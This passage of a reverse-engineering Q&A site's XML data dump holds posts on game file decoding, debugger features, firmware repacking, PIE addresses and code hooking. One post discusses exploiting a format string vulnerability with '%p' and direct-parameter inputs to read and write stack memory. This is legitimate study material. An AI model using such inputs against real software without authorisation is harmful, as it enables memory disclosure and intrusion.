  <row Id="25005" PostTypeId="1" CreationDate="2020-05-13T19:32:47.343" Score="1" ViewCount="406" Body="&lt;p&gt;I'm building a fan website for a japanese mobile game. I'd like to have access to game data like character stats and ability names. I'll start by saying that this is the first time I have done something like this and could use any help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have done so far. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is a folder containing custom .pack files, which I think are binary files of unknown format.&lt;/li&gt;&#xA;&lt;li&gt;Within this folder there is also a .dat file with the names of the .pack files followed by a string of numbers (e.g. &lt;code&gt;master_attribute.pack  8CDF54ED0AE78C4FF663C3F639F28B7F&lt;/code&gt;). I do not know if this is related.&lt;/li&gt;&#xA;&lt;li&gt;Each .pack file starts with the hex signature &lt;code&gt;C9&lt;/code&gt;, which according to this &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_file_signatures&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;, is a .com file, which i think is an outdated executable file?&lt;/li&gt;&#xA;&lt;li&gt;Most of the .pack files, when read as utf-8, contain snippets of the information I'm looking for but it is riddled with out-of-place continuation bytes (this is likely irrelevant because I am naively assuming that these files are utf-8 text files). &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is an example of one of the smaller files, the japanese text are relevant and are not random.&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/e5H1V.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e5H1V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said in the start, this is my first exposure to such things. I am stuck and welcome any help on what I can do next. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, &lt;a href=&quot;https://drive.google.com/open?id=1DeV-YwxK3uHIX-8xM66hurKx8mO5ROHJ&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; are some of the files&lt;/p&gt;&#xA;" OwnerUserId="33212" LastActivityDate="2020-05-13T19:32:47.343" Title="Help with decoding japanese text from binary" Tags="|game-hacking|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25006" PostTypeId="1" CreationDate="2020-05-13T23:31:44.633" Score="1" ViewCount="125" Body="&lt;p&gt;I am running an application and would like to set a breakpoint, as soon as a relevant shared library is loaded. On gdb I can achieve it via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set stop-on-solib-events 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've  been unable to find anything related for radare2. Help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="33216" LastEditorUserId="33216" LastEditDate="2020-05-14T07:00:17.050" LastActivityDate="2020-05-14T07:00:17.050" Title="radare2 stop on lazy loaded library (gdb's stop-on-solib-events)" Tags="|debugging|radare2|dynamic-linking|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25008" PostTypeId="1" AcceptedAnswerId="25014" CreationDate="2020-05-14T06:04:36.667" Score="0" ViewCount="248" Body="&lt;p&gt;In ollydbg you can view the PE header of a module, by going into memory map and double clicking on the PE headers, but i couldn't find a way to do this in XDBG, is it possible? &lt;/p&gt;&#xA;" OwnerUserId="28109" LastActivityDate="2020-06-13T21:07:35.587" Title="Is it possible to view PE headers in xdbg just like ollydbg?" Tags="|debugging|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25010" PostTypeId="2" ParentId="23399" CreationDate="2020-05-14T12:56:15.950" Score="4" Body="&lt;p&gt;It is also easy using x64dbg. When you break on the &lt;code&gt;WriteProcessMemory&lt;/code&gt; the handle will be at &lt;code&gt;[esp+0x4]&lt;/code&gt; in the memory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BYSjv.png&quot; alt=&quot;Image of stack view in x64dbg&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you write down the handle (in this case 0xDC) you may go to the &lt;code&gt;Handles&lt;/code&gt; tab in the x64dbg main window, then &lt;code&gt;Right click -&amp;gt; Refresh&lt;/code&gt;. All the handles associated with your debugged process will be listed. Now you need to find the corresponding handle and thats it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VuYUs.png&quot; alt=&quot;Image of handles tab in x64dbg&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, in my case the &lt;code&gt;WriteProcessMemory&lt;/code&gt; was writting to process with PID 0x7A30.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't use debugger that can list handles (unlikely) you can use external tool like Process Explorer, which also has the ability to list all process associated handles.&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-05-14T12:56:15.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25012" PostTypeId="1" CreationDate="2020-05-14T16:08:52.277" Score="1" ViewCount="1581" Body="&lt;p&gt;I am working with a C++ application in IDA and whenever I name a function with a :: or a ~ symbol it shows up in the function window as an underscore which is very hard to read (ex. Class::Function shows up as Class__Function)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it so that in the function window it will show the actual symbols and not underscores? Every database that I open shows the function names like this except mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using IDA Pro 7.0&lt;/p&gt;&#xA;" OwnerUserId="33180" LastActivityDate="2020-06-15T14:04:55.500" Title="IDA pro not showing function names properly" Tags="|ida|symbols|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25013" PostTypeId="1" AcceptedAnswerId="27582" CreationDate="2020-05-14T18:16:25.300" Score="1" ViewCount="106" Body="&lt;p&gt;when I open the debug dump (IDA x64) , I don't have the memory ranges. Exactly like in this question: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/16049/esp-out-of-range-of-stack-view-in-ida&quot;&gt;ESP out of range of &amp;quot;Stack View&amp;quot; in IDA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It used to be fine, but I don't have the menu edit-&gt; &quot;manual memory regions&quot; as I am on IDA 7.4. (I guess) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to add a segment and it didn't work! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;windbg 10.0.18362.1 &lt;/p&gt;&#xA;" OwnerUserId="22690" LastEditorUserId="22690" LastEditDate="2020-05-14T18:30:49.483" LastActivityDate="2021-04-29T13:19:53.400" Title="bad memory mapping in case of MEMORY dump IDA &lt;-&gt; WinDbg" Tags="|ida|windbg|memory-dump|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25014" PostTypeId="2" ParentId="25008" CreationDate="2020-05-14T20:16:27.040" Score="0" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/horsicq/pex64dbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;pex64dbg&lt;/a&gt; plugin, but that will only show you view of the main module. It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IEm6B.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IEm6B.png&quot; alt=&quot;PE Viewer&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2020-05-14T20:16:27.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25015" PostTypeId="1" AcceptedAnswerId="25017" CreationDate="2020-05-15T02:44:09.680" Score="1" ViewCount="1625" Body="&lt;p&gt;I've been trying to figure out how to modify the firmware on a DVR I bought for cheap recently. The built in software isn't great and doesn't offer any option for exporting video other than plugging a USB drive in and running an export through their UI. Ideally I'd like to modify it to export over FTP or NFS or something on a schedule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can upgrade the firmware on the device by putting the manufacturer provided upgrade image on a USB drive, plug it in, power on the device, then let it do it's thing to upgrade the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I downloaded the firmware and ran binwalk on it. It was able to extract the roofs and I can see that it's running a flavor of embedded Linux. Here is the output that came with the files I extracted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;Scan Time:     2020-05-15 02:16:35&#xA;Target File:   /vagrant/rootfs-3531dv100&#xA;MD5 Checksum:  18a010179a1e5ae03c260ccc9609ddbc&#xA;Signatures:    404&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             uImage header, header size: 64 bytes, header CRC: 0xCB1642A1, created: 2019-09-26 01:53:07, image size: 9761796 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x35F26A52, OS: Linux, CPU: ARM, image type: Filesystem Image, compression type: none, image name: &quot;hirootfs&quot;&#xA;64            0x40            JFFS2 filesystem, little endian&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the files on the rootfs I found the init scripts that get run. Funny enough there's a call in there to start telnetd that's commented out. There's also a password for the root user set in /etc/passwd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is this: if I modify the init script to uncomment that line so it runs telnetd at boot and generate a new password hash for the root user in /etc/password, how do I package it back up into a bootable image that I can drop onto a USB drive? Will that even work?&lt;/p&gt;&#xA;" OwnerUserId="33229" LastActivityDate="2020-05-15T12:16:20.450" Title="Unpacking, modifying, repacking and flashing a firmware" Tags="|linux|flash|binwalk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25016" PostTypeId="1" CreationDate="2020-05-15T06:07:54.393" Score="1" ViewCount="278" Body="&lt;p&gt;I talking about linux arch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open program in Ida (statically ) I can see all instructions address like &lt;code&gt;0x20da mov r8 r2&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I want  use that address to breakpoint (for example with &lt;code&gt;ptrace&lt;/code&gt; or &lt;code&gt;gdb&lt;/code&gt; ) Is there ant situation that this address will change?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the ASLR can change the base address of libraries that loaded , but is &lt;strong&gt;instruction's address that not include in library&lt;/strong&gt; can change when the program is running?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All  of process/binary that I see the address's instruction didn't change compare runtime and what you can see in Ida .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this address can change, how can I know if is this address may change (maybe flag in binary or flag in system) and how can I find out what is the address when the process is already running.&lt;/p&gt;&#xA;" OwnerUserId="30423" LastActivityDate="2023-12-23T11:06:25.703" Title="Is address in program can change" Tags="|ida|linux|gdb|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25017" PostTypeId="2" ParentId="25015" CreationDate="2020-05-15T12:16:20.450" Score="2" Body="&lt;p&gt;Assuming nothing is cryptographically signed, that should be possible. You simply need to follow your steps in reverse. If you used &lt;code&gt;binwalk&lt;/code&gt;'s extract option, that made it too easy; you'll want to figure out how to unpack/pack the image manually (maybe the verbose option will provide more info on the steps taken). I realize this is a generic sounding answer, but without knowing the exact firmware structure it is difficult to speculate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also need to watch out for any checksums/hashes that will need to be modified if you change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could brick the device if you try to flash improper firmware. It may be a good idea to see if it supports any firmware recovery modes, or if there are hardware debug ports on the board to assist in recovery.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastActivityDate="2020-05-15T12:16:20.450" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25018" PostTypeId="2" ParentId="25016" CreationDate="2020-05-15T12:39:14.577" Score="0" Body="&lt;p&gt;Yes, this is called Position Independent Executable (PIE). It randomizes the base address of the executable. It is enabled by default nowadays in most cases by gcc/the linker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways to statically determine whether a binary is built with PIE. One method is to use &lt;code&gt;file&lt;/code&gt;; a PIE binary reports &quot;shared object&quot; (since that's what it is) compared to just &quot;executable&quot;. Other tools e.g. &lt;code&gt;checksec&lt;/code&gt; can tell you as well. You will certainly know when you open the program in your debugger and the program addresses look nothing like what you're used to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the binary is not stripped, you should be able to set breakpoints normally using function names after the executable has started. However, a stripped binary becomes much more difficult; I am not aware of a way to do that effectively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do &lt;code&gt;cat /proc/&amp;lt;PID&amp;gt;/maps&lt;/code&gt; on the process to view the memory mappings. The ones you want will show as mapped to the executable on disk. The first value should give you the starting offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example on my current process, &lt;code&gt;cat&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat /proc/self/maps&#xA;559912213000-559912215000 r--p 00000000 07:00 1191827                    /usr/bin/cat&#xA;559912215000-55991221a000 r-xp 00002000 07:00 1191827                    /usr/bin/cat&#xA;55991221a000-55991221d000 r--p 00007000 07:00 1191827                    /usr/bin/cat&#xA;55991221d000-55991221e000 r--p 00009000 07:00 1191827                    /usr/bin/cat&#xA;55991221e000-55991221f000 rw-p 0000a000 07:00 1191827                    /usr/bin/cat&#xA;559912b4c000-559912b6d000 rw-p 00000000 00:00 0                          [heap]&#xA;&amp;lt;snip&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, &lt;code&gt;0x559912213000&lt;/code&gt; would be your base address.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastEditorUserId="24222" LastEditDate="2020-05-15T15:00:59.327" LastActivityDate="2020-05-15T15:00:59.327" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25019" PostTypeId="1" AcceptedAnswerId="25074" CreationDate="2020-05-15T13:03:07.210" Score="2" ViewCount="345" Body="&lt;p&gt;I am investigating a format string vulnerability on arm64 (linked against musl libc), and am encountering some odd behavior while debugging the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the decompilation, the program has a classic format string vulnerability that boils down to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fprintf(stdout, user_controlled_data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using repetitive format specifiers (e.g. &lt;code&gt;%p%p%p%p&lt;/code&gt;), I can dump massive swaths of memory by including thousands of these characters. That works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem arises when I try direct parameter access. For some reason, &lt;code&gt;%1$p&lt;/code&gt; works but not &lt;code&gt;%2$p&lt;/code&gt;, but 3 up to about 12 works, and everything I've tried after that fails. By &quot;fails&quot;, I mean no values are printed, except the newline automatically added to my string earlier in code is eaten somehow. In the debugger, &lt;code&gt;fprintf&lt;/code&gt; returns -1, and &lt;code&gt;errno&lt;/code&gt; is set to 0x16, which I believe is EINVAL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this particular scenario, I need the ability to read/write a particular stack offset in the thousands. But I cannot print it to confirm since direct parameter access does not work. I &lt;em&gt;can&lt;/em&gt; see the target parameter by using repeated characters, but I need direct parameters to work going forward due to other constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I understand this is in &quot;undefined behavior&quot; territory, but I compiled a vulnerable test binary (statically linked against Glibc, I should probably try against musl) on the system that works as expected with no issues (e.g. &lt;code&gt;%9000$p&lt;/code&gt; prints something).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something that would cause this behavior, or something I am missing? I can provide further information if needed.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastEditorUserId="24222" LastEditDate="2020-05-15T13:12:39.697" LastActivityDate="2020-05-31T19:52:37.887" Title="Format String Direct Parameter Behavior" Tags="|exploit|arm64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25022" PostTypeId="1" CreationDate="2020-05-15T15:09:25.593" Score="0" ViewCount="1236" Body="&lt;p&gt;I am currently ripping the game from a .bin file, that contains all the system text. I have searched through the file and found text in Spanish, French, English, and in Japanese. The problem is that it is hidden from the jumbled text, and Extracting text one by one would be very tiring. Is there a way to extract these strings of text?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW I'm currently running on Windows and my system can't edit Virtualization settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uxXi6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uxXi6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32844" LastActivityDate="2020-05-15T16:12:00.827" Title="How do you extract all the text from this hex dump?" Tags="|binary|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25023" PostTypeId="1" AcceptedAnswerId="25028" CreationDate="2020-05-15T15:29:43.650" Score="0" ViewCount="748" Body="&lt;p&gt;So in a malware sample (Shelter) IDA doesn't include some parts of the function in the function itself, and puts the endp in an earlier part, so for example the function really ends at 0x401080 but it thinks it ends at 0x401050 for some reason even tho the last instruction isn't ret and its just a SUB instruction, and the next instruction is a valid and instruction and I'm not sure why its not detecting it&lt;/p&gt;&#xA;" OwnerUserId="28109" LastActivityDate="2020-05-16T12:54:40.940" Title="How to manually change the end of function and extend it in IDA pro?" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25024" PostTypeId="2" ParentId="25022" CreationDate="2020-05-15T16:12:00.827" Score="2" Body="&lt;p&gt;The best would be analyze the executable and reverse engineer how it reads from the .bin file, this way you will be sure you don't miss anything important and possibly extract other useful data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you can't/don't want to do that you may write simple script that looks for ASCII/Unicode characters and read them until ceratain length or delimeter is reached. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is already very nice tool for that task called &lt;code&gt;strings&lt;/code&gt;, and is available for Windows thanks to SysIntenals. It can search for ASCII/Unicode strings in the binary image and print them to the stdout which you may of course redirect to file for further examination.&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-05-15T16:12:00.827" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25026" PostTypeId="2" ParentId="23433" CreationDate="2020-05-15T17:32:08.117" Score="1" Body="&lt;p&gt;There are several ways you can achieve this. I assume you don't have source code of the executable, otherwise you would just tell the compiler to for example generate few &lt;code&gt;nop&lt;/code&gt;s for you after the &lt;code&gt;call&lt;/code&gt; opcode, so you would simply patch the call without any data shifting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you said, you could replace the call with long call (but as far as I know all calls on x86-32 takes 4+1 bytes of space, no matter if they are relative or absolute) and shift all the instructions below because there is sometimes free space between functions generated by compiler (eg filed with 0xCC), but then you would need to fix all jumps/calls to addresses that are affected by your shift. Doing this you have to remember that there may be dynamicaly generated jump-tables/calls that you would also need to replace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The better approach would be to hook that function and apply short prolog and epilog to your payload. I will try to explain how it can be done. Let's say you have following assembly instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0069DDCC            | 8B00                        | mov eax,dword ptr ds:[eax]&#xA;0069DDCE            | 8B50 24                     | mov edx,dword ptr ds:[eax+24]&#xA;0069DDD1            | A1 00506F00                 | mov eax,dword ptr ds:[6F5000]&#xA;0069DDD6            | 8B00                        | mov eax,dword ptr ds:[eax]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you want to redirect the code flow at &lt;code&gt;0x69DDCE&lt;/code&gt; to your function that is located at &lt;code&gt;0xDEADBEEF&lt;/code&gt;. As you can see the instruction at &lt;code&gt;0x69DDCE&lt;/code&gt; is 3 bytes long, but the long jmp is actually 5 bytes long. After patching the 5 bytes our code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0069DDCC            | 8B00                        | mov eax,dword ptr ds:[eax]&#xA;0069DDCE            | E9 1CE143DE                 | jmp DEADBEEF&#xA;0069DDD3            | 5C                          | pop esp&#xA;0069DDD4            | 6F                          | outsd&#xA;0069DDD5            | 008B 00E81770               | add byte ptr ds:[ebx+7017E800],cl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is because we have partially overwritten the &lt;code&gt;mov eax,dword ptr ds:[6F5000]&lt;/code&gt; so our code will change the behavior after returning from your function at &lt;code&gt;0xDEADBEEF&lt;/code&gt;. The thing we need to do here is to &lt;code&gt;NOP&lt;/code&gt; the instruction totally, so in fact we need to patch 8 bytes (&lt;code&gt;mov edx,dword ptr ds:[eax+24]&lt;/code&gt; + &lt;code&gt;mov eax,dword ptr ds:[6F5000]&lt;/code&gt;), so it will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0069DDCC            | 8B00                        | mov eax,dword ptr ds:[eax]&#xA;0069DDCE            | E9 1CE143DE                 | jmp DEADBEEF&#xA;0069DDD3            | 90                          | nop&#xA;0069DDD4            | 90                          | nop&#xA;0069DDD5            | 90                          | nop&#xA;0069DDD6            | 8B00                        | mov eax,dword ptr ds:[eax]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we need to prepare our payload at &lt;code&gt;0xDEADBEEF&lt;/code&gt;. Keep in mind that you have removed two instructions from the original code, so you need to execute them at some point, also note the address where we should restore the original code flow, which is &lt;code&gt;0x69DDD6&lt;/code&gt;. If you plan to modify the registers in your payload you need to save them, the best would be probably to call the pushad/pushfd, so the final payload at &lt;code&gt;0xDEADBEEF&lt;/code&gt; can look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pushad&#xA;pushfd&#xA;; your code&#xA;popfd&#xA;popad&#xA;mov edx,dword ptr ds:[eax+24]&#xA;mov eax,dword ptr ds:[6F5000]&#xA;jmp 0x69DDD6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;mov&lt;/code&gt;s in the payload are the ones you have deleted from original code, and the &lt;code&gt;jmp 0x69DDD6&lt;/code&gt; is the place where you should restore the original flow. Keep in mind that if you write something to the program memory in your code you may change the way program executes if it will use your changed data at some point. Otherwise the program should continue normally after jumping back from your function.&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-05-15T17:32:08.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25028" PostTypeId="2" ParentId="25023" CreationDate="2020-05-15T20:39:00.620" Score="1" Body="&lt;p&gt;Right click the function name -&gt; &quot;Edit function...&quot; -&gt; &quot;End address&quot; field&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you can edit it.&lt;/p&gt;&#xA;" OwnerUserId="33237" LastActivityDate="2020-05-15T20:39:00.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25029" PostTypeId="2" ParentId="24992" CreationDate="2020-05-15T21:34:58.210" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Private flag is indicator that the particular range of memory isn't shared with any other process&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reserved section means that the region of virtual memory is reserved, but not commited yet. This means that the virtual memory region isn't mapped to the physical memory but any other memory allocation calls won't occupy that space until it's released. You may also notice that the debugger doesn't show any protection on the reserved memory regions, this is because the memory needs to be commited in order to be used. To commit the memory you may call the &lt;code&gt;VirtualAlloc&lt;/code&gt; again, this time with the MEM_COMMIT flag, now you can access the commited memory and then it will be allocated.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-05-15T21:34:58.210" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25030" PostTypeId="1" AcceptedAnswerId="25031" CreationDate="2020-05-16T06:44:59.727" Score="1" ViewCount="450" Body="&lt;p&gt;How to decompile the following assembly instructions ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: this could be reproduced using &lt;em&gt;/usr/bin/ls&lt;/em&gt; &lt;a href=&quot;https://gist.githubusercontent.com/promach/fa989fbd4ff74dcbed37aff0d39d1a9f/raw/3ca6889632b2f322fefa6060b6725b4832a98c73/ls&quot; rel=&quot;nofollow noreferrer&quot;&gt;binary&lt;/a&gt; inside ghidra&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q3UT6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q3UT6.png&quot; alt=&quot;ghidra decompilation of ls&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30102" LastActivityDate="2020-05-17T02:55:22.007" Title="How to decompile /usr/bin/ls" Tags="|disassembly|decompilation|ghidra|decompile|decompiler|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25031" PostTypeId="2" ParentId="25030" CreationDate="2020-05-16T10:27:48.983" Score="3" Body="&lt;p&gt;From the decompiler view it cleary states there's no function. Decompiler works when you have one - it shows code of a function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if that's the beginning of a function (it might be) just create it by pressing &lt;kbd&gt;F&lt;/kbd&gt; (or right click, &lt;code&gt;Create Function&lt;/code&gt;) while your cursor is on the line that is the beginning of this function. After that the decompiler view should populate with code.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2020-05-16T10:34:46.573" LastActivityDate="2020-05-16T10:34:46.573" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="25032" PostTypeId="2" ParentId="25023" CreationDate="2020-05-16T12:54:40.940" Score="1" Body="&lt;p&gt;Select an address, then type &quot;E&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will set the address as the end of the function that exists before it.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-05-16T12:54:40.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25033" PostTypeId="2" ParentId="25016" CreationDate="2020-05-16T13:08:39.920" Score="0" Body="&lt;p&gt;It is possible that the address is relocated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relocation table, typically named &lt;code&gt;.reloc&lt;/code&gt; contains address &quot;translations&quot; for the loader, placing bytes in file offsets in different addresses in runtime.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-05-16T13:08:39.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25034" PostTypeId="2" ParentId="25012" CreationDate="2020-05-16T13:19:09.917" Score="1" Body="&lt;p&gt;You can't simply name a function with these characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, IDA can read mangled names and &quot;demangle&quot; them, showing their prototype with the C++ original symbols.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you want to write mangled names yourself, so that IDA will demangle them to show what you want to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are different, sometimes complex, rules for mangling names. Here is an example for Visual Studio applications: &lt;a href=&quot;https://en.wikiversity.org/wiki/Visual_C%2B%2B_name_mangling&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikiversity.org/wiki/Visual_C%2B%2B_name_mangling&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a basic example:&#xA;Name a function:&#xA;&lt;code&gt;??1@ClassName@@@Z&lt;/code&gt; will be translated into &lt;code&gt;ClassName::~ClassName()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Names will show as comment. If you want them to show as actual names, open Options menu, Demangled names and choose &quot;names&quot;.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastEditorUserId="30213" LastEditDate="2020-05-16T13:24:55.610" LastActivityDate="2020-05-16T13:24:55.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25035" PostTypeId="1" AcceptedAnswerId="25036" CreationDate="2020-05-16T13:57:36.853" Score="0" ViewCount="93" Body="&lt;p&gt;I'm totally new to reverse engineering, when I start debugging my c program with radare2, and start showing assembly, I found that addresses are only &lt;code&gt;8 hexa&lt;/code&gt; digits, which means &lt;code&gt;16^8&lt;/code&gt; =  &lt;code&gt;4294967296&lt;/code&gt; bytes, which is &lt;code&gt;4G RAM&lt;/code&gt;.&#xA;But I have &lt;code&gt;16G RAM&lt;/code&gt;, which is &lt;code&gt;17179869184&lt;/code&gt; bytes, which needs &lt;code&gt;9 digits&lt;/code&gt; not 8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is part of the assembly as radare2 views:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x004011d0      750e           jne 0x4011e0&#xA;0x004011d2      488d3d410e00.  lea rdi, str.Acess_granted  ; 0x40201a ; &quot;Acess granted!&quot; ; const char *s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think I misunderstand something here, can someone clarify?&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="31404" LastActivityDate="2020-05-26T23:30:16.647" 